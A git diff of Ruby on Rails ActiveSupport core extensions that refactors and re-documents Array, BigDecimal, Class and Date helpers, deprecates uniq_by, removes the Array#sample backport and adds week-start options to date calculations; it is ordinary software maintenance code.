--- a/activesupport/lib/active_support/core_ext/array.rb
+++ b/activesupport/lib/active_support/core_ext/array.rb
@@ -4,5 +4,4 @@ require 'active_support/core_ext/array/uniq_by'
 require 'active_support/core_ext/array/conversions'
 require 'active_support/core_ext/array/extract_options'
 require 'active_support/core_ext/array/grouping'
-require 'active_support/core_ext/array/random_access'
 require 'active_support/core_ext/array/prepend_and_append'
diff --git a/activesupport/lib/active_support/core_ext/array/access.rb b/activesupport/lib/active_support/core_ext/array/access.rb
index 6162f7af27..a8f9dddae5 100644
--- a/activesupport/lib/active_support/core_ext/array/access.rb
+++ b/activesupport/lib/active_support/core_ext/array/access.rb
@@ -1,40 +1,48 @@
 class Array
   # Returns the tail of the array from +position+.
   #
-  #   %w( a b c d ).from(0)  # => %w( a b c d )
-  #   %w( a b c d ).from(2)  # => %w( c d )
-  #   %w( a b c d ).from(10) # => %w()
-  #   %w().from(0)           # => %w()
+  #   %w( a b c d ).from(0)  # => ["a", "b", "c", "d"]
+  #   %w( a b c d ).from(2)  # => ["c", "d"]
+  #   %w( a b c d ).from(10) # => []
+  #   %w().from(0)           # => []
   def from(position)
     self[position, length] || []
   end
 
   # Returns the beginning of the array up to +position+.
   #
-  #   %w( a b c d ).to(0)  # => %w( a )
-  #   %w( a b c d ).to(2)  # => %w( a b c )
-  #   %w( a b c d ).to(10) # => %w( a b c d )
-  #   %w().to(0)           # => %w()
+  #   %w( a b c d ).to(0)  # => ["a"]
+  #   %w( a b c d ).to(2)  # => ["a", "b", "c"]
+  #   %w( a b c d ).to(10) # => ["a", "b", "c", "d"]
+  #   %w().to(0)           # => []
   def to(position)
-    self.first position + 1
+    first position + 1
   end
 
   # Equal to <tt>self[1]</tt>.
+  #
+  #   %w( a b c d e).second # => "b"
   def second
     self[1]
   end
 
   # Equal to <tt>self[2]</tt>.
+  #
+  #   %w( a b c d e).third # => "c"
   def third
     self[2]
   end
 
   # Equal to <tt>self[3]</tt>.
+  #
+  #   %w( a b c d e).fourth # => "d"
   def fourth
     self[3]
   end
 
   # Equal to <tt>self[4]</tt>.
+  #
+  #   %w( a b c d e).fifth # => "e"
   def fifth
     self[4]
   end
diff --git a/activesupport/lib/active_support/core_ext/array/conversions.rb b/activesupport/lib/active_support/core_ext/array/conversions.rb
index f3d06ecb2f..d6ae031c0d 100644
--- a/activesupport/lib/active_support/core_ext/array/conversions.rb
+++ b/activesupport/lib/active_support/core_ext/array/conversions.rb
@@ -1,41 +1,95 @@
 require 'active_support/xml_mini'
 require 'active_support/core_ext/hash/keys'
-require 'active_support/core_ext/hash/reverse_merge'
 require 'active_support/core_ext/string/inflections'
 
 class Array
-  # Converts the array to a comma-separated sentence where the last element is joined by the connector word. Options:
-  # * <tt>:words_connector</tt> - The sign or word used to join the elements in arrays with two or more elements (default: ", ")
-  # * <tt>:two_words_connector</tt> - The sign or word used to join the elements in arrays with two elements (default: " and ")
-  # * <tt>:last_word_connector</tt> - The sign or word used to join the last element in arrays with three or more elements (default: ", and ")
+  # Converts the array to a comma-separated sentence where the last element is
+  # joined by the connector word.
+  #
+  # You can pass the following options to change the default behaviour. If you
+  # pass an option key that doesn't exist in the list below, it will raise an
+  # <tt>ArgumentError</tt>.
+  #
+  # Options:
+  #
+  # * <tt>:words_connector</tt> - The sign or word used to join the elements
+  #   in arrays with two or more elements (default: ", ").
+  # * <tt>:two_words_connector</tt> - The sign or word used to join the elements
+  #   in arrays with two elements (default: " and ").
+  # * <tt>:last_word_connector</tt> - The sign or word used to join the last element
+  #   in arrays with three or more elements (default: ", and ").
+  # * <tt>:locale</tt> - If +i18n+ is available, you can set a locale and use
+  #   the connector options defined on the 'support.array' namespace in the
+  #   corresponding dictionary file.
+  #
+  #   [].to_sentence                      # => ""
+  #   ['one'].to_sentence                 # => "one"
+  #   ['one', 'two'].to_sentence          # => "one and two"
+  #   ['one', 'two', 'three'].to_sentence # => "one, two, and three"
+  #
+  #   ['one', 'two'].to_sentence(passing: 'invalid option')
+  #   # => ArgumentError: Unknown key :passing
+  #
+  #   ['one', 'two'].to_sentence(two_words_connector: '-')
+  #   # => "one-two"
+  #
+  #   ['one', 'two', 'three'].to_sentence(words_connector: ' or ', last_word_connector: ' or at least ')
+  #   # => "one or two or at least three"
+  #
+  # Examples using <tt>:locale</tt> option:
+  #
+  #   # Given this locale dictionary:
+  #   # 
+  #   #   es:
+  #   #     support:
+  #   #       array:
+  #   #         words_connector: " o "
+  #   #         two_words_connector: " y "
+  #   #         last_word_connector: " o al menos "
+  #
+  #   ['uno', 'dos'].to_sentence(locale: :es)
+  #   # => "uno y dos"
+  #
+  #   ['uno', 'dos', 'tres'].to_sentence(locale: :es)
+  #   # => "uno o dos o al menos tres"
   def to_sentence(options = {})
+    options.assert_valid_keys(:words_connector, :two_words_connector, :last_word_connector, :locale)
+
+    default_connectors = {
+      :words_connector     => ', ',
+      :two_words_connector => ' and ',
+      :last_word_connector => ', and '
+    }
     if defined?(I18n)
-      default_words_connector     = I18n.translate(:'support.array.words_connector',     :locale => options[:locale])
-      default_two_words_connector = I18n.translate(:'support.array.two_words_connector', :locale => options[:locale])
-      default_last_word_connector = I18n.translate(:'support.array.last_word_connector', :locale => options[:locale])
-    else
-      default_words_connector     = ", "
-      default_two_words_connector = " and "
-      default_last_word_connector = ", and "
+      i18n_connectors = I18n.translate(:'support.array', locale: options[:locale], default: {})
+      default_connectors.merge!(i18n_connectors)
     end
-
-    options.assert_valid_keys(:words_connector, :two_words_connector, :last_word_connector, :locale)
-    options.reverse_merge! :words_connector => default_words_connector, :two_words_connector => default_two_words_connector, :last_word_connector => default_last_word_connector
+    options = default_connectors.merge!(options)
 
     case length
-      when 0
-        ""
-      when 1
-        self[0].to_s.dup
-      when 2
-        "#{self[0]}#{options[:two_words_connector]}#{self[1]}"
-      else
-        "#{self[0...-1].join(options[:words_connector])}#{options[:last_word_connector]}#{self[-1]}"
+    when 0
+      ''
+    when 1
+      self[0].to_s.dup
+    when 2
+      "#{self[0]}#{options[:two_words_connector]}#{self[1]}"
+    else
+      "#{self[0...-1].join(options[:words_connector])}#{options[:last_word_connector]}#{self[-1]}"
     end
   end
 
   # Converts a collection of elements into a formatted string by calling
-  # <tt>to_s</tt> on all elements and joining them:
+  # <tt>to_s</tt> on all elements and joining them. Having this model:
+  #
+  #   class Blog < ActiveRecord::Base
+  #     def to_s
+  #       title
+  #     end
+  #   end
+  #
+  #   Blog.all.map(&:title) #=> ["First Post", "Second Post", "Third post"]
+  #
+  # <tt>to_formatted_s</tt> shows us:
   #
   #   Blog.all.to_formatted_s # => "First PostSecond PostThird Post"
   #
@@ -45,14 +99,14 @@ class Array
   #   Blog.all.to_formatted_s(:db) # => "1,2,3"
   def to_formatted_s(format = :default)
     case format
-      when :db
-        if respond_to?(:empty?) && self.empty?
-          "null"
-        else
-          collect { |element| element.id }.join(",")
-        end
+    when :db
+      if empty?
+        'null'
       else
-        to_default_s
+        collect { |element| element.id }.join(',')
+      end
+    else
+      to_default_s
     end
   end
   alias_method :to_default_s, :to_s
@@ -86,20 +140,20 @@ class Array
   #     </project>
   #   </projects>
   #
-  # Otherwise the root element is "records":
+  # Otherwise the root element is "objects":
   #
   #   [{:foo => 1, :bar => 2}, {:baz => 3}].to_xml
   #
   #   <?xml version="1.0" encoding="UTF-8"?>
-  #   <records type="array">
-  #     <record>
+  #   <objects type="array">
+  #     <object>
   #       <bar type="integer">2</bar>
   #       <foo type="integer">1</foo>
-  #     </record>
-  #     <record>
+  #     </object>
+  #     <object>
   #       <baz type="integer">3</baz>
-  #     </record>
-  #   </records>
+  #     </object>
+  #   </objects>
   #
   # If the collection is empty the root element is "nil-classes" by default:
   #
@@ -139,26 +193,28 @@ class Array
     options = options.dup
     options[:indent]  ||= 2
     options[:builder] ||= Builder::XmlMarkup.new(:indent => options[:indent])
-    options[:root]    ||= if first.class.to_s != "Hash" && all? { |e| e.is_a?(first.class) }
-      underscored = ActiveSupport::Inflector.underscore(first.class.name)
-      ActiveSupport::Inflector.pluralize(underscored).tr('/', '_')
-    else
-      "objects"
-    end
+    options[:root]    ||= \
+      if first.class != Hash && all? { |e| e.is_a?(first.class) }
+        underscored = ActiveSupport::Inflector.underscore(first.class.name)
+        ActiveSupport::Inflector.pluralize(underscored).tr('/', '_')
+      else
+        'objects'
+      end
 
     builder = options[:builder]
     builder.instruct! unless options.delete(:skip_instruct)
 
     root = ActiveSupport::XmlMini.rename_key(options[:root].to_s, options)
     children = options.delete(:children) || root.singularize
+    attributes = options[:skip_types] ? {} : {:type => 'array'}
 
-    attributes = options[:skip_types] ? {} : {:type => "array"}
-    return builder.tag!(root, attributes) if empty?
-
-    builder.__send__(:method_missing, root, attributes) do
-      each { |value| ActiveSupport::XmlMini.to_tag(children, value, options) }
-      yield builder if block_given?
+    if empty?
+      builder.tag!(root, attributes)
+    else
+      builder.__send__(:method_missing, root, attributes) do
+        each { |value| ActiveSupport::XmlMini.to_tag(children, value, options) }
+        yield builder if block_given?
+      end
     end
   end
-
 end
diff --git a/activesupport/lib/active_support/core_ext/array/grouping.rb b/activesupport/lib/active_support/core_ext/array/grouping.rb
index 4cd9bfadac..a184eb492a 100644
--- a/activesupport/lib/active_support/core_ext/array/grouping.rb
+++ b/activesupport/lib/active_support/core_ext/array/grouping.rb
@@ -1,21 +1,22 @@
-require 'enumerator'
-
 class Array
   # Splits or iterates over the array in groups of size +number+,
   # padding any remaining slots with +fill_with+ unless it is +false+.
   #
-  #   %w(1 2 3 4 5 6 7).in_groups_of(3) {|group| p group}
+  #   %w(1 2 3 4 5 6 7 8 9 10).in_groups_of(3) {|group| p group}
   #   ["1", "2", "3"]
   #   ["4", "5", "6"]
-  #   ["7", nil, nil]
+  #   ["7", "8", "9"]
+  #   ["10", nil, nil]
   #
-  #   %w(1 2 3).in_groups_of(2, '&nbsp;') {|group| p group}
+  #   %w(1 2 3 4 5).in_groups_of(2, '&nbsp;') {|group| p group}
   #   ["1", "2"]
-  #   ["3", "&nbsp;"]
+  #   ["3", "4"]
+  #   ["5", "&nbsp;"]
   #
-  #   %w(1 2 3).in_groups_of(2, false) {|group| p group}
+  #   %w(1 2 3 4 5).in_groups_of(2, false) {|group| p group}
   #   ["1", "2"]
-  #   ["3"]
+  #   ["3", "4"]
+  #   ["5"]
   def in_groups_of(number, fill_with = nil)
     if fill_with == false
       collection = self
@@ -44,10 +45,10 @@ class Array
   #   ["5", "6", "7", nil]
   #   ["8", "9", "10", nil]
   #
-  #   %w(1 2 3 4 5 6 7).in_groups(3, '&nbsp;') {|group| p group}
-  #   ["1", "2", "3"]
-  #   ["4", "5", "&nbsp;"]
-  #   ["6", "7", "&nbsp;"]
+  #   %w(1 2 3 4 5 6 7 8 9 10).in_groups(3, '&nbsp;') {|group| p group}
+  #   ["1", "2", "3", "4"]
+  #   ["5", "6", "7", "&nbsp;"]
+  #   ["8", "9", "10", "&nbsp;"]
   #
   #   %w(1 2 3 4 5 6 7).in_groups(3, false) {|group| p group}
   #   ["1", "2", "3"]
@@ -84,11 +85,9 @@ class Array
   #
   #   [1, 2, 3, 4, 5].split(3)                # => [[1, 2], [4, 5]]
   #   (1..10).to_a.split { |i| i % 3 == 0 }   # => [[1, 2], [4, 5], [7, 8], [10]]
-  def split(value = nil)
-    using_block = block_given?
-
+  def split(value = nil, &block)
     inject([[]]) do |results, element|
-      if (using_block && yield(element)) || (value == element)
+      if block && block.call(element) || value == element
         results << []
       else
         results.last << element
diff --git a/activesupport/lib/active_support/core_ext/array/random_access.rb b/activesupport/lib/active_support/core_ext/array/random_access.rb
deleted file mode 100644
index bb1807a68a..0000000000
--- a/activesupport/lib/active_support/core_ext/array/random_access.rb
+++ /dev/null
@@ -1,30 +0,0 @@
-class Array
-  # Backport of Array#sample based on Marc-Andre Lafortune's https://github.com/marcandre/backports/
-  # Returns a random element or +n+ random elements from the array.
-  # If the array is empty and +n+ is nil, returns <tt>nil</tt>.
-  # If +n+ is passed and its value is less than 0, it raises an +ArgumentError+ exception.
-  # If the value of +n+ is equal or greater than 0 it returns <tt>[]</tt>.
-  #
-  #   [1,2,3,4,5,6].sample     # => 4
-  #   [1,2,3,4,5,6].sample(3)  # => [2, 4, 5]
-  #   [1,2,3,4,5,6].sample(-3) # => ArgumentError: negative array size
-  #              [].sample     # => nil
-  #              [].sample(3)  # => []
-  def sample(n=nil)
-    return self[Kernel.rand(size)] if n.nil?
-    n = n.to_int
-  rescue Exception => e
-    raise TypeError, "Coercion error: #{n.inspect}.to_int => Integer failed:\n(#{e.message})"
-  else
-    raise TypeError, "Coercion error: obj.to_int did NOT return an Integer (was #{n.class})" unless n.kind_of? Integer
-    raise ArgumentError, "negative array size" if n < 0
-    n = size if n > size
-    result = Array.new(self)
-    n.times do |i|
-      r = i + Kernel.rand(size - i)
-      result[i], result[r] = result[r], result[i]
-    end
-    result[n..size] = []
-    result
-  end unless method_defined? :sample
-end
diff --git a/activesupport/lib/active_support/core_ext/array/uniq_by.rb b/activesupport/lib/active_support/core_ext/array/uniq_by.rb
index 9c5f97b0e9..3bedfa9a61 100644
--- a/activesupport/lib/active_support/core_ext/array/uniq_by.rb
+++ b/activesupport/lib/active_support/core_ext/array/uniq_by.rb
@@ -1,16 +1,20 @@
 class Array
-  # Returns an unique array based on the criteria given as a +Proc+.
+  # *DEPRECATED*: Use +Array#uniq+ instead.
+  #
+  # Returns a unique array based on the criteria in the block.
   #
   #   [1, 2, 3, 4].uniq_by { |i| i.odd? } # => [1, 2]
   #
-  def uniq_by
-    hash, array = {}, []
-    each { |i| hash[yield(i)] ||= (array << i) }
-    array
+  def uniq_by(&block)
+    ActiveSupport::Deprecation.warn 'uniq_by is deprecated. Use Array#uniq instead', caller
+    uniq(&block)
   end
 
-  # Same as uniq_by, but modifies self.
-  def uniq_by!
-    replace(uniq_by{ |i| yield(i) })
+  # *DEPRECATED*: Use +Array#uniq!+ instead.
+  #
+  # Same as +uniq_by+, but modifies +self+.
+  def uniq_by!(&block)
+    ActiveSupport::Deprecation.warn 'uniq_by! is deprecated. Use Array#uniq! instead', caller
+    uniq!(&block)
   end
 end
diff --git a/activesupport/lib/active_support/core_ext/array/wrap.rb b/activesupport/lib/active_support/core_ext/array/wrap.rb
index 4834eca8b1..9ea93d7226 100644
--- a/activesupport/lib/active_support/core_ext/array/wrap.rb
+++ b/activesupport/lib/active_support/core_ext/array/wrap.rb
@@ -25,9 +25,6 @@ class Array
   #   Array(:foo => :bar)      # => [[:foo, :bar]]
   #   Array.wrap(:foo => :bar) # => [{:foo => :bar}]
   #
-  #   Array("foo\nbar")        # => ["foo\n", "bar"], in Ruby 1.8
-  #   Array.wrap("foo\nbar")   # => ["foo\nbar"]
-  #
   # There's also a related idiom that uses the splat operator:
   #
   #   [*object]
diff --git a/activesupport/lib/active_support/core_ext/big_decimal/conversions.rb b/activesupport/lib/active_support/core_ext/big_decimal/conversions.rb
index 391bdc925d..5dc5710c53 100644
--- a/activesupport/lib/active_support/core_ext/big_decimal/conversions.rb
+++ b/activesupport/lib/active_support/core_ext/big_decimal/conversions.rb
@@ -1,29 +1,9 @@
 require 'bigdecimal'
-
-begin
-  require 'psych'
-rescue LoadError
-end
-
 require 'yaml'
 
 class BigDecimal
-  YAML_TAG = 'tag:yaml.org,2002:float'
   YAML_MAPPING = { 'Infinity' => '.Inf', '-Infinity' => '-.Inf', 'NaN' => '.NaN' }
 
-  # This emits the number without any scientific notation.
-  # This is better than self.to_f.to_s since it doesn't lose precision.
-  #
-  # Note that reconstituting YAML floats to native floats may lose precision.
-  def to_yaml(opts = {})
-    return super if defined?(YAML::ENGINE) && !YAML::ENGINE.syck?
-
-    YAML.quick_emit(nil, opts) do |out|
-      string = to_s
-      out.scalar(YAML_TAG, YAML_MAPPING[string] || string, :plain)
-    end
-  end
-
   def encode_with(coder)
     string = to_s
     coder.represent_scalar(nil, YAML_MAPPING[string] || string)
@@ -37,8 +17,13 @@ class BigDecimal
   end
 
   DEFAULT_STRING_FORMAT = 'F'
-  def to_formatted_s(format = DEFAULT_STRING_FORMAT)
-    _original_to_s(format)
+  def to_formatted_s(*args)
+    if args[0].is_a?(Symbol)
+      super
+    else
+      format = args[0] || DEFAULT_STRING_FORMAT
+      _original_to_s(format)
+    end
   end
   alias_method :_original_to_s, :to_s
   alias_method :to_s, :to_formatted_s
diff --git a/activesupport/lib/active_support/core_ext/class/attribute.rb b/activesupport/lib/active_support/core_ext/class/attribute.rb
index 45bec264ff..7b6f8ab0a1 100644
--- a/activesupport/lib/active_support/core_ext/class/attribute.rb
+++ b/activesupport/lib/active_support/core_ext/class/attribute.rb
@@ -65,10 +65,12 @@ class Class
   # To opt out of the instance writer method, pass :instance_writer => false.
   #
   #   object.setting = false  # => NoMethodError
+  #
+  # To opt out of both instance methods, pass :instance_accessor => false.
   def class_attribute(*attrs)
     options = attrs.extract_options!
-    instance_reader = options.fetch(:instance_reader, true)
-    instance_writer = options.fetch(:instance_writer, true)
+    instance_reader = options.fetch(:instance_accessor, true) && options.fetch(:instance_reader, true)
+    instance_writer = options.fetch(:instance_accessor, true) && options.fetch(:instance_writer, true)
 
     attrs.each do |name|
       class_eval <<-RUBY, __FILE__, __LINE__ + 1
@@ -109,7 +111,7 @@ class Class
   end
 
   private
-  def singleton_class?
-    !name || '' == name
-  end
+    def singleton_class?
+      ancestors.first != self
+    end
 end
diff --git a/activesupport/lib/active_support/core_ext/class/attribute_accessors.rb b/activesupport/lib/active_support/core_ext/class/attribute_accessors.rb
index 268303aaf2..fa1dbfdf06 100644
--- a/activesupport/lib/active_support/core_ext/class/attribute_accessors.rb
+++ b/activesupport/lib/active_support/core_ext/class/attribute_accessors.rb
@@ -2,33 +2,37 @@ require 'active_support/core_ext/array/extract_options'
 
 # Extends the class object with class and instance accessors for class attributes,
 # just like the native attr* accessors for instance attributes.
-#
-# Note that unlike +class_attribute+, if a subclass changes the value then that would
-# also change the value for parent class. Similarly if parent class changes the value
-# then that would change the value of subclasses too.
-#
-#  class Person
-#    cattr_accessor :hair_colors
-#  end
-#
-#  Person.hair_colors = [:brown, :black, :blonde, :red]
-#  Person.hair_colors     # => [:brown, :black, :blonde, :red]
-#  Person.new.hair_colors # => [:brown, :black, :blonde, :red]
-#
-# To opt out of the instance writer method, pass :instance_writer => false.
-# To opt out of the instance reader method, pass :instance_reader => false.
-# To opt out of both instance methods, pass :instance_accessor => false.
-#
-#   class Person
-#     cattr_accessor :hair_colors, :instance_writer => false, :instance_reader => false
-#   end
-#
-#   Person.new.hair_colors = [:brown]  # => NoMethodError
-#   Person.new.hair_colors             # => NoMethodError
 class Class
+  # Defines a class attribute if it's not defined and creates a reader method that
+  # returns the attribute value.
+  #
+  #   class Person
+  #     cattr_reader :hair_colors
+  #   end
+  #
+  #   Person.class_variable_set("@@hair_colors", [:brown, :black])
+  #   Person.hair_colors     # => [:brown, :black]
+  #   Person.new.hair_colors # => [:brown, :black]
+  #
+  # The attribute name must be a valid method name in Ruby.
+  #
+  #   class Person
+  #     cattr_reader :"1_Badname "
+  #   end
+  #   # => NameError: invalid attribute name
+  #
+  # If you want to opt out the instance reader method, you can pass <tt>instance_reader: false</tt>
+  # or <tt>instance_accessor: false</tt>.
+  #
+  #   class Person
+  #     cattr_reader :hair_colors, instance_reader: false
+  #   end
+  #
+  #   Person.new.hair_colors # => NoMethodError
   def cattr_reader(*syms)
     options = syms.extract_options!
     syms.each do |sym|
+      raise NameError.new('invalid attribute name') unless sym =~ /^[_A-Za-z]\w*$/
       class_eval(<<-EOS, __FILE__, __LINE__ + 1)
         unless defined? @@#{sym}
           @@#{sym} = nil
@@ -49,9 +53,47 @@ class Class
     end
   end
 
+  # Defines a class attribute if it's not defined and creates a writer method to allow
+  # assignment to the attribute.
+  #
+  #   class Person
+  #     cattr_writer :hair_colors
+  #   end
+  #
+  #   Person.hair_colors = [:brown, :black]
+  #   Person.class_variable_get("@@hair_colors") # => [:brown, :black]
+  #   Person.new.hair_colors = [:blonde, :red]
+  #   Person.class_variable_get("@@hair_colors") # => [:blonde, :red]
+  #
+  # The attribute name must be a valid method name in Ruby.
+  #
+  #   class Person
+  #     cattr_writer :"1_Badname "
+  #   end
+  #   # => NameError: invalid attribute name
+  #
+  # If you want to opt out the instance writer method, pass <tt>instance_writer: false</tt>
+  # or <tt>instance_accessor: false</tt>.
+  #
+  #   class Person
+  #     cattr_writer :hair_colors, instance_writer: false
+  #   end
+  #
+  #   Person.new.hair_colors = [:blonde, :red] # => NoMethodError
+  #
+  # Also, you can pass a block to set up the attribute with a default value.
+  #
+  #   class Person
+  #     cattr_writer :hair_colors do
+  #       [:brown, :black, :blonde, :red]
+  #     end
+  #   end
+  #
+  #   Person.class_variable_get("@@hair_colors") # => [:brown, :black, :blonde, :red]
   def cattr_writer(*syms)
     options = syms.extract_options!
     syms.each do |sym|
+      raise NameError.new('invalid attribute name') unless sym =~ /^[_A-Za-z]\w*$/
       class_eval(<<-EOS, __FILE__, __LINE__ + 1)
         unless defined? @@#{sym}
           @@#{sym} = nil
@@ -69,10 +111,58 @@ class Class
           end
         EOS
       end
-      self.send("#{sym}=", yield) if block_given?
+      send("#{sym}=", yield) if block_given?
     end
   end
 
+  # Defines both class and instance accessors for class attributes.
+  #
+  #   class Person
+  #     cattr_accessor :hair_colors
+  #   end
+  #
+  #   Person.hair_colors = [:brown, :black, :blonde, :red]
+  #   Person.hair_colors     # => [:brown, :black, :blonde, :red]
+  #   Person.new.hair_colors # => [:brown, :black, :blonde, :red]
+  #
+  # If a subclass changes the value then that would also change the value for
+  # parent class. Similarly if parent class changes the value then that would
+  # change the value of subclasses too.
+  #
+  #   class Male < Person
+  #   end
+  #
+  #   Male.hair_colors << :blue
+  #   Person.hair_colors # => [:brown, :black, :blonde, :red, :blue]
+  #
+  # To opt out of the instance writer method, pass <tt>instance_writer: false</tt>.
+  # To opt out of the instance reader method, pass <tt>instance_reader: false</tt>.
+  #
+  #   class Person
+  #     cattr_accessor :hair_colors, instance_writer: false, instance_reader: false
+  #   end
+  #
+  #   Person.new.hair_colors = [:brown]  # => NoMethodError
+  #   Person.new.hair_colors             # => NoMethodError
+  #
+  # Or pass <tt>instance_accessor: false</tt>, to opt out both instance methods.
+  #
+  #   class Person
+  #     cattr_accessor :hair_colors, instance_accessor: false
+  #   end
+  #
+  #   Person.new.hair_colors = [:brown]  # => NoMethodError
+  #   Person.new.hair_colors             # => NoMethodError
+  #
+  # Also you can pass a block to set up the attribute with a default value.
+  #
+  #   class Person
+  #     cattr_accessor :hair_colors do
+  #       [:brown, :black, :blonde, :red]
+  #     end
+  #   end
+  #
+  #   Person.class_variable_get("@@hair_colors") #=> [:brown, :black, :blonde, :red]
   def cattr_accessor(*syms, &blk)
     cattr_reader(*syms)
     cattr_writer(*syms, &blk)
diff --git a/activesupport/lib/active_support/core_ext/class/delegating_attributes.rb b/activesupport/lib/active_support/core_ext/class/delegating_attributes.rb
index 29bf7c0f3d..ff870f5fd1 100644
--- a/activesupport/lib/active_support/core_ext/class/delegating_attributes.rb
+++ b/activesupport/lib/active_support/core_ext/class/delegating_attributes.rb
@@ -1,5 +1,3 @@
-require 'active_support/core_ext/object/blank'
-require 'active_support/core_ext/array/extract_options'
 require 'active_support/core_ext/kernel/singleton_class'
 require 'active_support/core_ext/module/remove_method'
 
@@ -22,23 +20,21 @@ class Class
     define_method("#{name}?") { !!send("#{name}") } if options[:instance_reader] != false
   end
 
-private
-
-  # Take the object being set and store it in a method. This gives us automatic
-  # inheritance behavior, without having to store the object in an instance
-  # variable and look up the superclass chain manually.
-  def _stash_object_in_method(object, method, instance_reader = true)
-    singleton_class.remove_possible_method(method)
-    singleton_class.send(:define_method, method) { object }
-    remove_possible_method(method)
-    define_method(method) { object } if instance_reader
-  end
-
-  def _superclass_delegating_accessor(name, options = {})
-    singleton_class.send(:define_method, "#{name}=") do |value|
-      _stash_object_in_method(value, name, options[:instance_reader] != false)
+  private
+    # Take the object being set and store it in a method. This gives us automatic
+    # inheritance behavior, without having to store the object in an instance
+    # variable and look up the superclass chain manually.
+    def _stash_object_in_method(object, method, instance_reader = true)
+      singleton_class.remove_possible_method(method)
+      singleton_class.send(:define_method, method) { object }
+      remove_possible_method(method)
+      define_method(method) { object } if instance_reader
     end
-    send("#{name}=", nil)
-  end
 
+    def _superclass_delegating_accessor(name, options = {})
+      singleton_class.send(:define_method, "#{name}=") do |value|
+        _stash_object_in_method(value, name, options[:instance_reader] != false)
+      end
+      send("#{name}=", nil)
+    end
 end
diff --git a/activesupport/lib/active_support/core_ext/class/subclasses.rb b/activesupport/lib/active_support/core_ext/class/subclasses.rb
index 46e9daaa8f..c2e0ebb3d4 100644
--- a/activesupport/lib/active_support/core_ext/class/subclasses.rb
+++ b/activesupport/lib/active_support/core_ext/class/subclasses.rb
@@ -1,19 +1,19 @@
 require 'active_support/core_ext/module/anonymous'
 require 'active_support/core_ext/module/reachable'
 
-class Class #:nodoc:
+class Class
   begin
     ObjectSpace.each_object(Class.new) {}
 
-    def descendants
+    def descendants # :nodoc:
       descendants = []
-      ObjectSpace.each_object(class << self; self; end) do |k|
+      ObjectSpace.each_object(singleton_class) do |k|
         descendants.unshift k unless k == self
       end
       descendants
     end
   rescue StandardError # JRuby
-    def descendants
+    def descendants # :nodoc:
       descendants = []
       ObjectSpace.each_object(Class) do |k|
         descendants.unshift k if k < self
@@ -25,7 +25,13 @@ class Class #:nodoc:
 
   # Returns an array with the direct children of +self+.
   #
-  #   Integer.subclasses # => [Bignum, Fixnum]
+  #   Integer.subclasses # => [Fixnum, Bignum]
+  #
+  #   class Foo; end
+  #   class Bar < Foo; end
+  #   class Baz < Foo; end
+  #
+  #   Foo.subclasses # => [Baz, Bar]
   def subclasses
     subclasses, chain = [], descendants
     chain.each do |k|
diff --git a/activesupport/lib/active_support/core_ext/date.rb b/activesupport/lib/active_support/core_ext/date.rb
new file mode 100644
index 0000000000..465fedda80
--- /dev/null
+++ b/activesupport/lib/active_support/core_ext/date.rb
@@ -0,0 +1,5 @@
+require 'active_support/core_ext/date/acts_like'
+require 'active_support/core_ext/date/calculations'
+require 'active_support/core_ext/date/conversions'
+require 'active_support/core_ext/date/zones'
+
diff --git a/activesupport/lib/active_support/core_ext/date/calculations.rb b/activesupport/lib/active_support/core_ext/date/calculations.rb
index 26a99658cc..7fe4161fb4 100644
--- a/activesupport/lib/active_support/core_ext/date/calculations.rb
+++ b/activesupport/lib/active_support/core_ext/date/calculations.rb
@@ -5,25 +5,15 @@ require 'active_support/core_ext/date/zones'
 require 'active_support/core_ext/time/zones'
 
 class Date
-  DAYS_INTO_WEEK = { :monday => 0, :tuesday => 1, :wednesday => 2, :thursday => 3, :friday => 4, :saturday => 5, :sunday => 6 }
-
-  if RUBY_VERSION < '1.9'
-    undef :>>
-
-    # Backported from 1.9. The one in 1.8 leads to incorrect next_month and
-    # friends for dates where the calendar reform is involved. It additionally
-    # prevents an infinite loop fixed in r27013.
-    def >>(n)
-      y, m = (year * 12 + (mon - 1) + n).divmod(12)
-      m,   = (m + 1)                    .divmod(1)
-      d = mday
-      until jd2 = self.class.valid_civil?(y, m, d, start)
-        d -= 1
-        raise ArgumentError, 'invalid date' unless d > 0
-      end
-      self + (jd2 - jd)
-    end
-  end
+  DAYS_INTO_WEEK = {
+    :monday => 0,
+    :tuesday => 1,
+    :wednesday => 2,
+    :thursday => 3,
+    :friday => 4,
+    :saturday => 5,
+    :sunday => 6
+  }
 
   class << self
     # Returns a new Date representing the date 1 day ago (i.e. yesterday's date).
@@ -49,7 +39,7 @@ class Date
 
   # Returns true if the Date object's date is today.
   def today?
-    self.to_date == ::Date.current # we need the to_date because of DateTime
+    to_date == ::Date.current # we need the to_date because of DateTime
   end
 
   # Returns true if the Date object's date lies in the future.
@@ -117,15 +107,13 @@ class Date
 
   # Returns a new Date where one or more of the elements have been changed according to the +options+ parameter.
   #
-  # Examples:
-  #
   #   Date.new(2007, 5, 12).change(:day => 1)                  # => Date.new(2007, 5, 1)
   #   Date.new(2007, 5, 12).change(:year => 2005, :month => 1) # => Date.new(2005, 1, 12)
   def change(options)
     ::Date.new(
-      options[:year]  || self.year,
-      options[:month] || self.month,
-      options[:day]   || self.day
+      options.fetch(:year, year),
+      options.fetch(:month, month),
+      options.fetch(:day, day)
     )
   end
 
@@ -154,90 +142,125 @@ class Date
     advance(:years => years)
   end
 
-  # Shorthand for years_ago(1)
-  def prev_year
-    years_ago(1)
-  end unless method_defined?(:prev_year)
-
-  # Shorthand for years_since(1)
-  def next_year
-    years_since(1)
-  end unless method_defined?(:next_year)
-
-  # Shorthand for months_ago(1)
-  def prev_month
-    months_ago(1)
-  end unless method_defined?(:prev_month)
-
-  # Shorthand for months_since(1)
-  def next_month
-    months_since(1)
-  end unless method_defined?(:next_month)
+  # Returns number of days to start of this week. Week is assumed to start on
+  # +start_day+, default is +:monday+.
+  def days_to_week_start(start_day = :monday)
+    start_day_number = DAYS_INTO_WEEK[start_day]
+    current_day_number = wday != 0 ? wday - 1 : 6
+    (current_day_number - start_day_number) % 7
+  end
 
-  # Returns a new Date/DateTime representing the "start" of this week (i.e, Monday; DateTime objects will have time set to 0:00).
-  def beginning_of_week
-    days_to_monday = self.wday!=0 ? self.wday-1 : 6
-    result = self - days_to_monday
-    self.acts_like?(:time) ? result.midnight : result
+  # Returns a new +Date+/+DateTime+ representing the start of this week. Week is
+  # assumed to start on +start_day+, default is +:monday+. +DateTime+ objects
+  # have their time set to 0:00.
+  def beginning_of_week(start_day = :monday)
+    days_to_start = days_to_week_start(start_day)
+    result = self - days_to_start
+    acts_like?(:time) ? result.midnight : result
   end
-  alias :monday :beginning_of_week
   alias :at_beginning_of_week :beginning_of_week
 
